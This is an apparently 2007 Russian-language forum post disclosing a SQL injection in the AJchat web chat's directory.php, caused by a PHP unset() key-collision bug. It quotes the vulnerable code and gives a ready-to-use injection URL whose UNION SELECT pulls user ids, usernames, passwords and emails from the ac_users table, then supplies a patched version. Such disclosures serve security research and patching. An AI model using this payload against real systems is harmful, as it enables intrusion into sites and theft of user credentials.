| gemaglabin |
06.04.2007 18:07 |
AJchat Remote Sql Injection using unset() bug
В связи с отсуствием нормального применения баги , а именно в таблице хранятся только юзеры , выкладываю в паблик
Файл directory.php , самое начало кода
PHP код:
if (isset($_GET["s"])){ $_GET["s"] = strtoupper($_GET["s"]); if (strlen($_GET["s"])==1 && $_GET["s"]>='A' && $_GET["s"]<='Z'){ // nothing }else unset($_GET['s']);
}
По задумке програмистов - если введенные данные не в пределах от a..z то unset() переменной - вычисляем ключи для php4 и для php5 и эксплуатируем
Код:
directory.php?s='and1=2union select concat_ws(char(59),id,username,password,email),null+from+ac_users/*&5861526=1&5863704=1
Вендор : http://ajchat.sourceforge.net/
Решение
PHP код:
if (isset($_GET["s"])){ $_GET["s"] = strtoupper($_GET["s"]); if (strlen($_GET["s"])==1 && $_GET["s"]>='A' && $_GET["s"]<='Z'){ // nothing }else { $_GET['s'] = NULL; unset($_GET['s']); }
|